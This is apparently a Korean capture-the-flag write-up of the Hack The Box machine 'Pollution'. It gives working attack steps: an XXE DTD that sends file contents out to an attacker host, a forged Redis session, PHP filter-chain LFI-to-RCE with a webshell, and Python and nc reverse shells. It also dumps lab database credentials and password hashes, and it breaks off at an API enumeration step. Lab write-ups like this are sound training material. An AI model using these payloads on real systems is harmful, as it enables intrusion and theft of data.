이번 머신은 Pollution이라는 머신명을 가졌다. 이름에서도 느껴지지만 ProtoType Pollution이나 Parameter Pollution을 다룰것으로 예상되며 머신의 난이도는 HARD
이다. 기존 Snoopy 머신도 Hard 난이도이지만 포스팅하는 머신중 Hard는 처음이라 꼼꼼하게 살펴보았다.
생성된 Pollution 머신의 IP는 10.10.11.192
이며 포트 스캔에서 22/tcp
, 80/tcp
, 6379/tcp
가 확인된다.
가장 먼저 눈에 보이는 6379/tcp는 일반적으로 Redis 포트로 사용되는데 보통 외부에 열려있지는 않는다. 그렇게에 redis-cli
를 통해 가장 먼저 접근이 되는지, 내부 Key값들을 확인할 수 있는지 확인해보았더니 키 확인을 위해선 인증을 요구한다.
juicemon HTB % redis-cli -h collect.htb
collect.htb:6379> KEYS *
(error) NOAUTH Authentication required.
그럼 이전 머신들과 동일하게 80/tcp에 접근하니 아래와 같은 페이지가 있었다.
해당 서비스에 기능을 훑어보기전 collect.htb
의 vhost를 퍼징하니 아래와 같이 2건의 vhost를 확인할 수 있었다.
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v1.5.0
________________________________________________
:: Method : GET
:: URL : http://collect.htb
:: Wordlist : FUZZ: /Users/junsoo.jo/Desktop/Tools/WordList/vhost-wordlist.txt
:: Header : Host: FUZZ.collect.htb
:: Output file : vhost.collect.htb.csv
:: File format : csv
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 100
:: Matcher : Response status: 200,204,301,302,307,401,403,405,500
:: Filter : Response size: 26197
:: Filter : Response words: 0
________________________________________________
developers [Status: 401, Size: 469, Words: 42, Lines: 15, Duration: 273ms]
forum [Status: 200, Size: 14098, Words: 910, Lines: 337, Duration: 386ms]
forum.collect.htb
의 경우 MyBB로 구축된 포럼으로 확인된다.
developers.collect.htb
의 경우 Basic Auth로 통제되고있다. 추후 LFI같은 파일 시스템 접근이 가능하다면 $WEB_ROOT/.htpasswd
를 확인하면 인증 정보를 알 수 있을 것이다.
다시 collect.htb
로 돌아가 기능을 확인해보니 임팩트 있는 기능은 없고 회원가입/로그인 기능이 있어 바로 계정을 생성하고 여러 방면으로 공격 벡터를 찾아봤으나 디렉터리 스캔에서도 의미있는 정보는 확인할 수 없었다.
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v1.5.0
________________________________________________
:: Method : GET
:: URL : http://collect.htb/FUZZ
:: Wordlist : FUZZ: /Users/junsoo.jo/Desktop/Tools/WordList/SecLists/Discovery/Web-Content/raft-small-directories-lowercase.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200,204,301,302,307,401,403,405,500
:: Filter : Response size: 0,276
________________________________________________
register [Status: 200, Size: 4746, Words: 1163, Lines: 169, Duration: 265ms]
login [Status: 200, Size: 4740, Words: 1163, Lines: 169, Duration: 281ms]
assets [Status: 301, Size: 311, Words: 20, Lines: 10, Duration: 208ms]
MyBB로 구성된 forum 서비스를 공격하기위해 여러 알려진 취약점을 검색하고 시도해보았으나 머신 출제 의도와 맞지 않는 방향으로 판단되어 포럼 내부에 모든 게시글을 확인했다.
포럼 회원가입은 자유로우며 회원가입 후 로그인해야 게시글을 확인할 수 있다
그중 "I had problems with the Pollution API"라는 스레드의 내용 중 특정 파일이 업로드되어 있는것을 확인할 수 있었다.
해당 파일은 다운로드가 가능하고 로그 파일로 확인되며 API 사용 중 발생한 문제 해결을 위해 업로드한것으로 보이며 내용은 XML형태로 다양한 REQUEST/RESPONSE 정보가 담긴 파일이다.
단순하게 request, response를 구분하고 base64 decoding하는게 좋을 것같아서 아래와 같은 xml 파서를 제작했다.
package main
import (
"encoding/base64"
"encoding/json"
"encoding/xml"
"io/ioutil"
"os"
)
type Items struct {
XMLName xml.Name `xml:"items"`
Text string `xml:",chardata"`
BurpVersion string `xml:"burpVersion,attr"`
ExportTime string `xml:"exportTime,attr"`
Item []struct {
Text string `xml:",chardata"`
Time string `xml:"time"`
URL string `xml:"url"`
Host struct {
Text string `xml:",chardata"`
Ip string `xml:"ip,attr"`
} `xml:"host"`
Port string `xml:"port"`
Protocol string `xml:"protocol"`
Method string `xml:"method"`
Path string `xml:"path"`
Extension string `xml:"extension"`
Request struct {
Text string `xml:",chardata"`
Base64 string `xml:"base64,attr"`
} `xml:"request"`
Status string `xml:"status"`
Responselength string `xml:"responselength"`
Mimetype string `xml:"mimetype"`
Response struct {
Text string `xml:",chardata"`
Base64 string `xml:"base64,attr"`
} `xml:"response"`
Comment string `xml:"comment"`
} `xml:"item"`
}
type SaveData struct {
Request string `json:"request"`
Response string `json:"response"`
}
func checkErr(err error) {
if err != nil {
panic(err)
}
}
func main() {
f, err := os.Open("./proxy_history.xml")
checkErr(err)
defer f.Close()
data, err := ioutil.ReadAll(f)
checkErr(err)
var proxy_history Items
err = xml.Unmarshal(data, &proxy_history)
checkErr(err)
var saveData []SaveData
for _, item := range proxy_history.Item {
req := item.Request.Text
if item.Request.Base64 == "true" {
decodedStr, _ := base64.StdEncoding.DecodeString(req)
req = string(decodedStr)
}
resp := item.Response.Text
if item.Response.Base64 == "true" {
decodedStr, _ := base64.StdEncoding.DecodeString(resp)
resp = string(decodedStr)
}
saveData = append(saveData, SaveData{Request: req, Response: resp})
}
if len(saveData) != 0 {
result, _ := json.MarshalIndent(saveData, "", "\t")
err := ioutil.WriteFile("result.json", result, 0644)
checkErr(err)
}
}
파싱된 결과(JSON)을 확인하는중 흥미로운 HTTP Request 로그를 확인할 수 있었다.
collect.htb
대상으로 디렉터리 스캔 시 발견되지 않았던 경로인 /set/role/admin
에 POST 요청에 대한 로그이며 Body값으로 특정 토큰을 사용하고있다.
이를 확인해보기 위해 해당 HTTP Request를 복사하여 그대로 Burp에 붙여넣고 Cookie 헤더 내 PHPSESSID
만 현재 juicemon 계정으로 부여된 세션 ID를 삽입하였다.
URI에서 유추할 수 있는것처럼 PHPSESSID(juicemon)에 admin role이 부여되어 /admin
페이지로 리다이렉트되었다.
관리자 페이지 하단에는 다음과 같이 API를 사용할 계정을 등록할 수 있는 기능이 존재했으며 HTTP Request를 확인하면 다음과 같은 API를 호출한다.
전달되는 manage_api
파라미터에 xml이 전달되며 이는 XXE 공격이 가능한지 테스트해볼 여지가 충분하기에 XXE#ReadFile와 XXE#Blind SSRF - Exfiltrate data out-of-band를 참고하여 공격자 PC에 아래와 같은 내용의 xxe.dtd
를 생성한다.
<!ENTITY % file SYSTEM 'php://filter/convert.base64-encode/resource=index.php'>
<!ENTITY % eval "<!ENTITY % exfiltrate SYSTEM 'http://공격자IP:공격자PORT/?x=%file;'>">
%eval;
%exfiltrate;
이후 전달되는 base64 인코딩된 값을 받을 python3 simple web을 실행한다.
python3 -m http.server 9001
모든 준비가 완료되었고 다시 collect.htb/api
에 다음과 같은 xml구문이 포함된 값을 전달한다.
manage_api=<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://10.10.14.3:9999/xxe.dtd"> %xxe;]><root><method>POST</method><uri>/auth/register</uri><user><username>test</username><password>test</password></user></root>
전달 후 XXE가 트리거되면서 Simple Web에서 다음과 같은 로그를 확인할 수 있으며 해당 base64 인코딩된 값은 index.php
파일 내용이다.
<?php
require '../bootstrap.php';
use app\classes\Routes;
use app\classes\Uri;
$routes = [
"/" => "controllers/index.php",
"/login" => "controllers/login.php",
"/register" => "controllers/register.php",
"/home" => "controllers/home.php",
"/admin" => "controllers/admin.php",
"/api" => "controllers/api.php",
"/set/role/admin" => "controllers/set_role_admin.php",
"/logout" => "controllers/logout.php"
];
$uri = Uri::load();
require Routes::load($uri, $routes);
index.php의 소스코드를 기반으로 xxe.dtd
의 resource인자에 전달되는 파일 경로를 ../bootstrap.php
으로 변경하여 계속해서 소스코드를 확인한다.
bootstrap.php에서는 다음과 같이 Redis 인증 정보 확인이 가능했다.
<?php
ini_set('session.save_handler','redis');
ini_set('session.save_path','tcp://127.0.0.1:6379/?auth=XXXXXXXXXXXXXXXX');
session_start();
require '../vendor/autoload.php';
해당 인증 정보가 맞는지 확인하기 위해 위에서 진행했던것처럼 redis-cli를 통해 Redis 서버에 접근해 인증을 진행했고 모든 Key 정보를 확인할 수 있었다.
juicemon HTB % redis-cli -h collect.htb
collect.htb:6379> auth XXXXXXXXXXXXXXXX
OK
collect.htb:6379> keys *
1) "PHPREDIS_SESSION:sva4kcaccbbmur6k185b7jlk20"
collect.htb:6379> get "PHPREDIS_SESSION:sva4kcaccbbmur6k185b7jlk20"
"username|s:8:\"juicemon\";role|s:5:\"admin\";
Redis 정보를 확인할 수 있었지만 세션 정보를 더 파악하기 위해 소스코드를 더 확보해야될것으로 판단됐다. 그렇기에 여러가지 시도를 하다가 위에서 언급했던 .htpasswd
파일을 /var/www/developers/.htpasswd
경로에서 다운로드 할 수 있었다.
developers_group:$apr1$MzKA5yXY$DwEz.jxW9USWo8.goD7jY1
해당 해시가 무슨 해시 알고리즘인지 궁금해서 ChatGPT에게 물어봤다 ;;;
아무튼 해당 해시를 크랙할 수 있다면 Basic Auth가 걸려있는 developers.collect.htb
에 접근할 수 있다. 바로 칼리로 달려가 hashcat
으로 돌려보았다.
해시 크랙이 성공했고 developers_group
의 계정정보를 통해 developers.collect.htb
에 접근이 가능했다.하지만 로그인이 없다면 아무것도 할 수 없었다.
여러가지로 확인을 위해 XXE를 통해 developers의 소스코드를 찾아다니기 시작했고 /var/www/developers/index.php
파일을 다운로드 할 수 있었다.
아래 소스코드를 확인하면 상단에서 인증 세션에 부여된 인증 여부를 파악하는데 세션 값에 auth값이 존재하는지 체크한다.
이후 /?page=home
으로 리다이렉트하는데, 여기서 page 파라미터를 처리하는 <?php include($_GET['page'] . ".php"); ?>
부분에서 LFI2RCE가 가능하다.
<?php
require './bootstrap.php';
if (!isset($_SESSION['auth']) or $_SESSION['auth'] != True) {
die(header('Location: /login.php'));
}
if (!isset($_GET['page']) or empty($_GET['page'])) {
die(header('Location: /?page=home'));
}
$view = 1;
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<script src="assets/js/tailwind.js"></script>
<title>Developers Collect</title>
</head>
<body>
<div class="flex flex-col h-screen justify-between">
<?php include("header.php"); ?>
<main class="mb-auto mx-24">
<?php include($_GET['page'] . ".php"); ?>
</main>
<?php include("footer.php"); ?>
</div>
</body>
</html>
먼저 세션 체크를 우회하기 위해 Redis에 다시 접근해서 Key 값을 다시 확인하니 developers.collect.htb에 접근 시 발급된 PHPSESSID가 추가되어 있는것을 확인할 수 있었다.
collect.htb:6379> keys *
1) "PHPREDIS_SESSION:5j92ieoa4fl8rtvc2vvf7rmja7"
2) "PHPREDIS_SESSION:sva4kcaccbbmur6k185b7jlk20"
위에서 세션 값 내 auth값이 있다면 인증을 통과할 수 있기에 다음과 같이 기존 admin으로 권한 상승했던 세션(sva4kcaccbbmur6k185b7jlk20)의 값을 복사하고 그 뒤에 auth값을 추가하는 작업을 진행한다.
collect.htb:6379> KEYS *
1) "PHPREDIS_SESSION:5j92ieoa4fl8rtvc2vvf7rmja7"
2) "PHPREDIS_SESSION:sva4kcaccbbmur6k185b7jlk20"
collect.htb:6379> GET "PHPREDIS_SESSION:sva4kcaccbbmur6k185b7jlk20"
"username|s:8:\"juicemon\";role|s:5:\"admin\";"
collect.htb:6379> SET "PHPREDIS_SESSION:5j92ieoa4fl8rtvc2vvf7rmja7" "username|s:8:\"juicemon\";role|s:5:\"admin\";auth|s:4:\"true\";"
OK
이후 developers 페이지를 리프레시하니 Redis에서 해당 세션 값의 키의 값에 auth값이 정상적으로 처리되어 인증 로직에서 통과해 다음과 같은 페이지를 볼 수 있었다.
이제 위에서 확인한 developers의 index.php 소스코드에서 취약한 파라미터인 page를 공격한다.
언급한것처럼 사용자 입력값이 include 구문에 포함되는 취약한 소스코드를 이용한다.
자세한 내용은 Hacktricks의 LFI2RCE를 참고하였으며, 내용에 링크된 도구인 php_filter_chain_generator 이용하여 page 파라미터로 전달한 페이로드를 생성한다.
취약 여부를 판단하기 위해 phpinfo() 함수를 실행하는 페이로드를 생성하고 삽입했다.
juicemon php_filter_chain_generator % python3 php_filter_chain_generator.py --chain '<?php phpinfo();?>'
[+] The following gadget chain will generate the following code : <?php phpinfo();?> (base64 value: PD9waHAgcGhwaW5mbygpOz8+)
php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16|convert.iconv.WINDOWS-1258.UTF32LE|convert.iconv.ISIRI3342.ISO-IR-157|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSA_T500.UTF-32|convert.iconv.CP857.ISO-2022-JP-3|convert.iconv.ISO2022JP2.CP775|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM891.CSUNICODE|convert.iconv.ISO8859-14.ISO6937|convert.iconv.BIG-FIVE.UCS-4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.CP1163.CSA_T500|convert.iconv.UCS-2.MSCP949|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.8859_3.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L4.UTF32|convert.iconv.CP1250.UCS-2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF16|convert.iconv.ISO6937.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=php://temp
phpinfo()
함수가 포함된 페이지를 확인할 수 있었고, 이렇게 코드 실행이 가능하다는것을 확인했다.
아래와 같은 One Line Webshell 코드를 삽입하는 페이로드를 제작한다.
juicemon php_filter_chain_generator % python3 php_filter_chain_generator.py --chain '<?=`$_GET[_]`?>'
[+] The following gadget chain will generate the following code : <?=`$_GET[_]`?> (base64 value: PD89YCRfR0VUW19dYD8+)
php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16|convert.iconv.WINDOWS-1258.UTF32LE|convert.iconv.ISIRI3342.ISO-IR-157|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.iconv.UHC.CP1361|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO88597.UTF16|convert.iconv.RK1048.UCS-4LE|convert.iconv.UTF32.CP1167|convert.iconv.CP9066.CSUCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.8859_3.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.iconv.UHC.CP1361|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=php://temp
삽입한 코드의 _
파라미터로 전달받아 명령을 실행하는 구문이 정상 동작하여 id
명령의 출력을 확인할 수 있다.
이제 리버스 쉘을 획득하기 위해 다음과 같은 명령을 _
파라미터에 전달한다.
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("공격자IP",리스너포트));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")'
공격자 PC에서 www-data
계정의 쉘을 획득했다.
juicemon pollution % nc -l 10010 -vn
$ python3 -c 'import pty; pty.spawn("/bin/bash")'
bash-5.1$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
이후 일반 유저를 획득하기 위해 무지성으로 파일 시스템을 돌아다녀봤지만 쓸만한 정보는 없었고 다시 소스 코드를 분석하게됐다. 웹 서비스 소스코드의 구조는 다음과 같다.
bash-5.1$ pwd
/var/www
bash-5.1$ ls -al
total 20
drwxr-xr-x 5 root root 4096 Nov 18 2022 .
drwxr-xr-x 12 root root 4096 Oct 19 2022 ..
drwxr-xr-x 5 root root 4096 Nov 18 2022 collect
drwxr-xr-x 3 root root 4096 Oct 27 2022 developers
drwxr-xr-x 10 www-data www-data 4096 Sep 13 2022 forum
/var/www/collect/config.php
에서 로컬에서 구동중인 mysql의 계정정보를 확인할 수 있었다.
<?php
return [
"db" => [
"host" => "localhost",
"dbname" => "webapp",
"username" => "webapp_user",
"password" => "Str0ngP4ssw0rdB*12@1",
"charset" => "utf8"
],
];
해당 계정을 통해 DB 접근이 가능했고 다음과 같은 DB가 구성되어있다.
MariaDB [(none)]> show databases;
show databases;
+--------------------+
| Database |
+--------------------+
| developers |
| forum |
| information_schema |
| mysql |
| performance_schema |
| pollution_api |
| webapp |
+--------------------+
users 테이블에서 admin 계정의 md5 패스워드를 확인
MariaDB [webapp]> show tables;
show tables;
+------------------+
| Tables_in_webapp |
+------------------+
| users |
+------------------+
1 row in set (0.000 sec)
MariaDB [webapp]> select * from users;
select * from users;
+----+----------+----------------------------------+-------+
| id | username | password | role |
+----+----------+----------------------------------+-------+
| 1 | admin | c89efc49ddc58ee4781b02becc788d14 | admin |
| 3 | juicemon | 73b69ce4c1cf7eb27d2862eed824e42b | admin |
+----+----------+----------------------------------+-------+
2 rows in set (0.001 sec)
mybb_users 테이블에서 포럼 유저의 계정정보 획득
MariaDB [forum]> select uid, username, password, salt, loginkey, email from mybb_users;
select uid, username, password, salt, loginkey, email from mybb_users;
+-----+---------------------+----------------------------------+----------+----------------------------------------------------+------------------+
| uid | username | password | salt | loginkey | email |
+-----+---------------------+----------------------------------+----------+----------------------------------------------------+------------------+
| 1 | administrator_forum | b254efc2c5716af2089ffeba1abcbf30 | DFFbL50R | A0y92JQgmcgWYD58HJ60DiiCt3P99x8OZfvOxEPwJLmqOeSOwW | admin@mail.com |
| 2 | john | e1ec52d73242b78fdee6be117569b602 | UsWOsbCe | l7aOWBckgI4ftj2l4DOiStHdbBvGd7yTMQq1S3o9MKxjStGsIs | john@mail.com |
| 3 | victor | b454fd07d44b27f1d528efba841c9717 | Guls6xA8 | AWph5kNlnypMrABiGwuDd7wsx2hpIrGkekB9npwYebdwIjNFwn | victor@mail.com |
| 4 | sysadmin | 477a429cddfc475b9100958cae9204b1 | 3aUhiPN0 | yZbtQ4Q43aIKHpUILPJh3BI1hhV6PJxMfnrZNAhoCYQmLIP9Ha | sys@mail.com |
| 5 | jeorge | 5d13d9d4b1f368280b8426800a85702e | 7HINOv17 | JB39phsqZZD1uzYnlhRB6WenutT4vC50by83RY9A4SuM0hSVJS | jeorge@mail.com |
| 8 | lyon | 5eab3ec757f8352597ab74361fda8bcc | glx7Hpzh | 8XGZZ4fr2JRedE3RTrQvfJBeXz6tBPq4tuHkQcN3ocxDz09Oby | lyon@collect.htb |
| 6 | jane | 972470c4c1a3f53029e56007abcf39fc | YGjmCmvg | j15Em76H0nxL9EXIC4k4aw1KiJK7DS5bE9cQ33rmqHTBWokBc7 | jane@mail.com |
| 7 | karldev | 285127d01d188c8827c9fded33bf6f9e | KUWyAcfh | xvGZvc0b0ReCHDDJQuolVSC4r7GebsPYTlWghoNUkYT20Fp9H3 | karldev@mail.com |
+-----+---------------------+----------------------------------+----------+----------------------------------------------------+------------------+
8 rows in set (0.000 sec)
users 테이블에서 admin 계정 정보 획득
MariaDB [developers]> select * from users;
select * from users;
+----+----------+----------------------------------+
| id | username | password |
+----+----------+----------------------------------+
| 1 | admin | c89efc49ddc58ee4781b02becc788d14 |
+----+----------+----------------------------------+
존재하는 테이블(messages, users)에 아무 정보도 없음.
확인된 md5와 mybb 패스워드 hash+salt를 johntheripper, hashcat으로 여러차례 크랙 시도했으나 크랙 실패 🤮
리눅스 머신에서 항상 등장하는 linpeas를 실행하여 수집된 정보를 훑어보는중 victor
계정으로 구동중인 php-fpm
서비스를 발견했다.
victor 1087 0.0 0.5 265840 20620 ? S 00:58 0:00 _ php-fpm: pool victor
뭔지 모르는 녀석이라 du0928-PHP-fpm 벨로그 포스팅을 참고하였고, 관련된 공격 방법이 존재하는지 찾다가 HackTricks에서 Pentesting FastCGI 확인할 수 있었고 아래 스크립트를 수정하여 코드 실행이 가능하다는것을 알 수 있었다.
#!/bin/bash
PAYLOAD="<?php echo '<!--'; system('whoami'); echo '-->';"
FILENAMES="/var/www/public/index.php" # Exisiting file path
HOST=$1
B64=$(echo "$PAYLOAD"|base64)
for FN in $FILENAMES; do
OUTPUT=$(mktemp)
env -i \
PHP_VALUE="allow_url_include=1"$'\n'"allow_url_fopen=1"$'\n'"auto_prepend_file='data://text/plain\;base64,$B64'" \
SCRIPT_FILENAME=$FN SCRIPT_NAME=$FN REQUEST_METHOD=POST \
cgi-fcgi -bind -connect $HOST:9000 &> $OUTPUT
cat $OUTPUT
done
FILENAMES
에는 실제 존재하는 파일 경로를 전달해야하기에 이미 알고있는 /var/www/developers/index.php
를 입력하고 스크립트를 실행하였더니 whoami
명령이 실행되어 victor가 출력되는것을 확인했다.
이제 스크립트의 변수 중 PAYLOAD
를 수정하여 victor 권한으로 리버스 커넥션을 맺는 코드를 삽입하여 쉘을 획득하는 작업을 진행하며, 사용된 스크립트는 다음과 같다.
#!/bin/bash
PAYLOAD="<?php echo '<!--'; system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.10.14.3 10002 >/tmp/f'); echo '-->';"
FILENAMES="/var/www/developers/index.php" # Exisiting file path
HOST=$1
B64=$(echo "$PAYLOAD"|base64)
for FN in $FILENAMES; do
OUTPUT=$(mktemp)
env -i \
PHP_VALUE="allow_url_include=1"$'\n'"allow_url_fopen=1"$'\n'"auto_prepend_file='data://text/plain\;base64,$B64'" \
SCRIPT_FILENAME=$FN SCRIPT_NAME=$FN REQUEST_METHOD=POST \
cgi-fcgi -bind -connect $HOST:9000 &> $OUTPUT
cat $OUTPUT
done
php-fpm RCE를 통해 victor 계정의 쉘을 얻는데 성공했다.
victor@pollution:~$ id
id
uid=1002(victor) gid=1002(victor) groups=1002(victor)
victor 계정의 홈디렉터리에서 pollution_api/
디렉터리를 파악할 수 있었고 index.js
를 확인하니 로컬에서 3000/tcp
로 동작하는 코드였다.
netstat을 통해 현재 서비스 중인것을 파악할 수 있었다.
victor@pollution:~/pollution_api$ netstat -ntlp;
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 127.0.0.1:9000 0.0.0.0:* LISTEN 1693/sh
tcp 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:6379 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:3000 0.0.0.0:* LISTEN -
tcp6 0 0 ::1:6379 :::* LISTEN -
tcp6 0 0 :::80 :::* LISTEN -
tcp6 0 0 :::22 :::* LISTEN -
서비스 파악을 위해 바로 curl을 때려보니 API였다.
victor@pollution:~$ curl http://localhost:3000/
{"Status":"Ok","Message":"Read documentation from api in /documentation"}
curl http://localhost:3000/documentation
